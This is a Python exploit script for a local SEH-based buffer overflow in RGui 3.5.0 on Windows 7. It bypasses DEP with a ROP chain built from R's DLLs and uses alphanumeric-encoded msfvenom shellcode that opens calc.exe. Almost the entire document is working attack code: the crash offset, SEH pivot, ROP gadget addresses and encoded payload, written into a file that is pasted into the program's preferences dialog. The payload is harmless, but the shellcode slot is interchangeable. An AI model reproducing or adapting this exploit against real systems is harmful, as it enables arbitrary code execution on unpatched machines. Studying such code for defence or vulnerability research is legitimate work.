```
#!/usr/bin/python

#
# Exploit Author: bzyo
# Twitter: @bzyo_
# Exploit Title: RGui 3.5.0 - Local Buffer Overflow (SEH)(DEP Bypass)
# Date: 01-09-2018
# Vulnerable Software: RGui 3.5.0
# Vendor Homepage: https://www.r-project.org/
# Version: 3.5.0
# Software Link: https://cran.r-project.org/bin/windows/base/old/3.5.0/R-
3.5.0-win.exe
# Tested On: Windows 7 x86
#
# lots of bad chars, use alpha_mixed
# badchars \x00\x0a\x0d\x0e and \x80 through \xbf
#
# this was fixed in 3.5.1;
#
# PoC:
# 1. generate rgui350dep.txt, copy contents to clipboard
# 2. open app, select Edit, select 'GUI preferences'
# 3. paste rgui350dep.txt contents into 'Language for menus and messages'
# 4. select OK
# 5. pop calc
#

import struct
filename="rgui350dep.txt"

junk = "A"*904

#{pivot 2556 / 0x9fc}
# ADD ESP,9EC # POP EBX # POP ESI # POP EDI # POP EBP # RETN
[Rgraphapp.dll]
seh = struct.pack('<L',0x637561a2)

#adjust
nops = "\x90"*40

#ROP Chain for VirtualAlloc()
#!mona rop -cpb "\x00\x0a\x0d\x0e"
#rop chain generated with mona.py - www.corelan.be
def create_rop_chain():

    rop_gadgets = [
      0x6c931aaa,  # POP EAX # RETN [R.dll]
      0x6e759b5c,  # ptr to &VirtualAlloc() [IAT R.dll]
      0x6ff41ce5,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [grDevices.dll]
      0x6c969986,  # XCHG EAX,ESI # RETN [R.dll]
      0x6c05596c,  # POP EBP # RETN [Rlapack.dll]
      0x6cb9bc4a,  # & call esp [R.dll]
      0x6c931b1a,  # POP EAX # RETN [R.dll]
      0xffffffff,  # Value to negate, will become 0x00000001
      0x63742b7f,  # NEG EAX # RETN [Rgraphapp.dll]
      0x63747d47,  # XCHG EAX,EBX # RETN [Rgraphapp.dll]
      0x63977f84,  # POP EAX # RETN [graphics.dll]
      0xa4e74b7d,  # put delta into eax (-> put 0x00001000 into edx)
      0x6c92e13a,  # ADD EAX,5B18C483 # RETN [R.dll]
      0x6c9f4bca,  # XCHG EAX,EDX # RETN [R.dll]
      0x713811b8,  # POP ECX # RETN [stats.dll]
      0xffffffc0,  # Value to negate, will become 0x00000040
      0x7136d670,  # NEG ECX # RETN [stats.dll]
      0x6cb2601a,  # POP EDI # RETN [R.dll]
      0x6375fe5c,  # RETN (ROP NOP) [Rgraphapp.dll]
      0x63976123,  # POP EAX # RETN [graphics.dll]
      0x90909090,  # nop
```

```
      0x6ff24de3,  # PUSHAD # RETN [grDevices.dll]
    ]
    return ''.join(struct.pack('<I', _) for _ in rop_gadgets)

rop_chain = create_rop_chain()

#msfvenom -a x86 -p windows/exec CMD=calc.exe -b "\x00\x0a\x0d\x0e" -e
x86/alpha_mixed -f c
#Payload size: 448 bytes
calc = ("\x89\xe1\xd9\xf7\xd9\x71\xf4\x5b\x53\x59\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a"
"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32"
"\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
"\x59\x6c\x5a\x48\x4c\x42\x77\x70\x53\x30\x45\x50\x35\x30\x6b"
"\x39\x58\x65\x70\x31\x39\x50\x30\x64\x4c\x4b\x50\x50\x64\x70"
"\x6e\x6b\x71\x42\x34\x4c\x4e\x6b\x71\x42\x37\x64\x6e\x6b\x62"
"\x52\x56\x48\x36\x6f\x4c\x77\x61\x5a\x64\x66\x56\x51\x49\x6f"
"\x6e\x4c\x45\x6c\x75\x31\x71\x6c\x53\x32\x66\x4c\x55\x70\x69"
"\x51\x38\x4f\x44\x4d\x47\x71\x6a\x67\x78\x62\x6a\x52\x31\x42"
"\x76\x37\x4e\x6b\x70\x52\x44\x50\x6e\x6b\x61\x5a\x47\x4c\x6c"
"\x4b\x30\x4c\x34\x51\x71\x68\x4b\x53\x63\x78\x77\x71\x4b\x61"
"\x63\x61\x4e\x6b\x63\x69\x35\x70\x56\x61\x4e\x33\x6e\x6b\x57"
"\x39\x65\x48\x68\x63\x44\x7a\x37\x39\x6c\x4b\x46\x54\x6c\x4b"
"\x47\x71\x7a\x76\x35\x61\x49\x6f\x4c\x6c\x7a\x61\x6a\x6f\x64"
"\x4d\x55\x51\x4b\x77\x57\x48\x6b\x50\x74\x35\x69\x66\x65\x53"
"\x31\x6d\x4a\x58\x77\x4b\x61\x6d\x51\x34\x61\x65\x6a\x44\x61"
"\x48\x4e\x6b\x62\x78\x45\x74\x47\x71\x79\x43\x71\x76\x4c\x4b"
"\x64\x4c\x72\x6b\x6c\x4b\x73\x68\x35\x4c\x43\x31\x6a\x73\x6e"
"\x6b\x37\x74\x6e\x6b\x37\x71\x4e\x30\x4f\x79\x52\x64\x35\x74"
"\x55\x74\x71\x4b\x51\x4b\x51\x71\x70\x59\x72\x7a\x53\x61\x6b"
"\x4f\x59\x70\x73\x6f\x63\x6f\x72\x7a\x4c\x4b\x56\x72\x48\x6b"
"\x6e\x6d\x31\x4d\x50\x6a\x55\x51\x6e\x6d\x4b\x35\x4f\x42\x73"
"\x30\x65\x50\x55\x50\x42\x70\x72\x48\x70\x31\x4e\x6b\x42\x4f"
"\x6c\x47\x6b\x4f\x4a\x75\x4d\x6b\x5a\x50\x48\x35\x6e\x42\x31"
"\x46\x62\x48\x39\x36\x5a\x35\x6f\x4d\x6d\x4d\x4b\x4f\x79\x45"
"\x45\x6c\x63\x36\x73\x4c\x45\x5a\x6b\x30\x59\x6b\x79\x70\x50"
"\x75\x55\x55\x6d\x6b\x43\x77\x42\x33\x61\x62\x62\x4f\x33\x5a"
"\x33\x30\x56\x33\x49\x6f\x49\x45\x43\x53\x53\x51\x72\x4c\x53"
"\x53\x44\x6e\x65\x35\x64\x38\x43\x55\x67\x70\x41\x41")

fill = "F"*6000

buffer = junk + seh + nops + rop_chain + nops + calc + fill

textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()
```